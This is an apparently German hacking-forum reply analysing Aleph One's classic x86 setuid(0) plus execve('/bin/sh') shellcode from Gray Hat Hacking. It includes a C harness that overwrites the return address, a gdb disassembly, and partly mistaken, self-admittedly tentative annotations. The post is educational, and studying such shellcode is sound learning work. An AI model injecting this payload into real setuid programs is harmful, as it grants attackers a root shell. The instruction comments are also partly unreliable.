setuid(0) gibts ganz sicher noch (Ubuntu Manpage: Searching) hab damit erst vor 2-3 Tagen was gecodet. Da es ein syscall ist sollte der eigentlich auch net einfach verschwinden.
Gray Hat Hacking 1. oder 2. Auflage?
War es zufällig dieser Abschnitt?
Wenn ja kann ich mir nur vorstellen dass dieser Shellcode halt netmehr geht dann musste mal nen setuid-Proggi in C schreiben und disassemblen oder die System-Calls dafür suchen und in assembler direkt programmieren und dir dann die opcodes rausziehen.//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x 46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x 89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
edit:
also zur analyse des shellcodes gibts im grayhat hacking auch nen abschnitt am ende von kapitel 9.
hab das grad ma durchgeführt ...
der lila teil oben ist der string "/bin/sh" also kein DAS asm-codebt tmp # cat shellcode.c
char shellcode[] =
/* the Aleph One shellcode */
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\ x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\ x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() {}
bt tmp # gcc shellcode.c -o shellcode
bt tmp # gdb shellcode
GNU gdb 6.6
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) x /53c &shellcode
0x8049540 <shellcode>: 49 '1' -64 'À' 49 '1' -37 'Û' -80 '°' 23 '\027' -51 'Í' -128 '\200'
0x8049548 <shellcode+8>: -21 'ë' 31 '\037' 94 '^' -119 '\211' 118 'v' 8 '\b' 49 '1' -64 'À'
0x8049550 <shellcode+16>: -120 '\210' 70 'F' 7 '\a' -119 '\211' 70 'F' 12 '\f' -80 '°' 11 '\v'
0x8049558 <shellcode+24>: -119 '\211' -13 'ó' -115 '\215' 78 'N' 8 '\b' -115 '\215'86 'V' 12 '\f'
0x8049560 <shellcode+32>: -51 'Í' -128 '\200' 49 '1' -37 'Û' -119 '\211' -40 'Ø' 64 '@' -51 'Í'
0x8049568 <shellcode+40>: -128 '\200' -24 'è' -36 'Ü' -1 'ÿ' -1 'ÿ' -1 'ÿ' 47 '/' 98 'b'
0x8049570 <shellcode+48>: 105 'i' 110 'n' 47 '/' 115 's' 104 'h'
(gdb) x /53x &shellcode
0x8049540 <shellcode>: 0x31 0xc0 0x31 0xdb 0xb0 0x17 0xcd 0x80
0x8049548 <shellcode+8>: 0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc0
0x8049550 <shellcode+16>: 0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b
0x8049558 <shellcode+24>: 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c
0x8049560 <shellcode+32>: 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd
0x8049568 <shellcode+40>: 0x80 0xe8 0xdc 0xff 0xff 0xff 0x2f 0x62
0x8049570 <shellcode+48>: 0x69 0x6e 0x2f 0x73 0x68
(gdb) x /24i &shellcode
0x8049540 <shellcode>: xor %eax,%eax
0x8049542 <shellcode+2>: xor %ebx,%ebx
0x8049544 <shellcode+4>: mov $0x17,%al
0x8049546 <shellcode+6>: int $0x80
0x8049548 <shellcode+8>: jmp 0x8049569 <shellcode+41>
0x804954a <shellcode+10>: pop %esi
0x804954b <shellcode+11>: mov %esi,0x8(%esi)
0x804954e <shellcode+14>: xor %eax,%eax
0x8049550 <shellcode+16>: mov %al,0x7(%esi)
0x8049553 <shellcode+19>: mov %eax,0xc(%esi)
0x8049556 <shellcode+22>: mov $0xb,%al
0x8049558 <shellcode+24>: mov %esi,%ebx
0x804955a <shellcode+26>: lea 0x8(%esi),%ecx
0x804955d <shellcode+29>: lea 0xc(%esi),%edx
0x8049560 <shellcode+32>: int $0x80
0x8049562 <shellcode+34>: xor %ebx,%ebx
0x8049564 <shellcode+36>: mov %ebx,%eax
0x8049566 <shellcode+38>: inc %eax
0x8049567 <shellcode+39>: int $0x80
0x8049569 <shellcode+41>: call 0x804954a <shellcode+10>
0x804956e <shellcode+46>: das
0x804956f <shellcode+47>: bound %ebp,0x6e(%ecx)
0x8049572 <shellcode+50>: das
0x8049573 <shellcode+51>: jae 0x80495dd
(gdb) x /s 0x804956e
0x804956e <shellcode+46>: "/bin/sh"
(gdb) quit
d.h. der eigentliche Shellcode sieht so aus (mit Kommentaren von mir ohne Gewähr)
xor %eax,%eax // eax mit 0x00 beschreiben
xor %ebx,%ebx // ebx mit 0x00 beschreiben
mov $0x17,%al // 23 ins Akkumulator-LOW-Register schreiben, also SysCall 23 -> sys_setuid und das nimmt ebx als 1. arg also ist es setuid(0)
int $0x80 // syscall ausführen
jmp LABEL_41 // zum LABEL_41 springen
LABEL_10: pop %esi // oberstes Element vom Stack holen und in ESI (SI/ESI/RSI: Quellindex (Zeichenketten)) speichern. das müsste das "/bin/sh" sein
mov %esi,0x8(%esi) //
xor %eax,%eax // eax mit 0x00 beschreiben
mov %al,0x7(%esi) // syscall in Akkumulator-LOW schieben.
mov %eax,0xc(%esi) // was an dem offset steht nach eax schieben ?? (würd raten es handelt sich hier um den /bin/sh string... maybe)
mov $0xb,%al // akku-low nach ?? schieben
mov %esi,%ebx // ebx nach esi kopieren
lea 0x8(%esi),%ecx // ??? (todo)
lea 0xc(%esi),%edx // ??? (todo)
int $0x80 // syscall aufrufen
xor %ebx,%ebx // ebx mit 0x00 beschreiben
mov %ebx,%eax // inhalt von EAX nach EBX kopieren
inc %eax // EAX hochzählen
int $0x80 // syscall aufrufen
LABEL_41: call LABEL_10 //die Funktion bei LABEL_10 aufrufen, dabei stackpointer sichern
/bin/sh
Wenn du die memnonics im Detail übersetzen willst guck mal hier nach
http://www.atarimagazines.com/v3n9/OP_CODE_FINDER.html
oder im Intel CPU-Manual
http://developer.intel.com/products/...uals/index.htm
desweiteren die Linux-Syscall-Table weil die braucht man da ja eigentlich auch
http://bluemaster.iu.hio.no/edu/ca/l.../syscalls.html
interessant auch wie calls und Argumente funktionieren
http://unixwiz.net/techtips/win32-callconv-asm.html
Hab jetzt nicht alles analysiert aber wenn dich interessiert wie man Shellcode erstellt gibts hier ein sehr gutes Tutorial:
http://www.hackerwiki.org/index.php/...ines_Shellcode
Viel Spass!




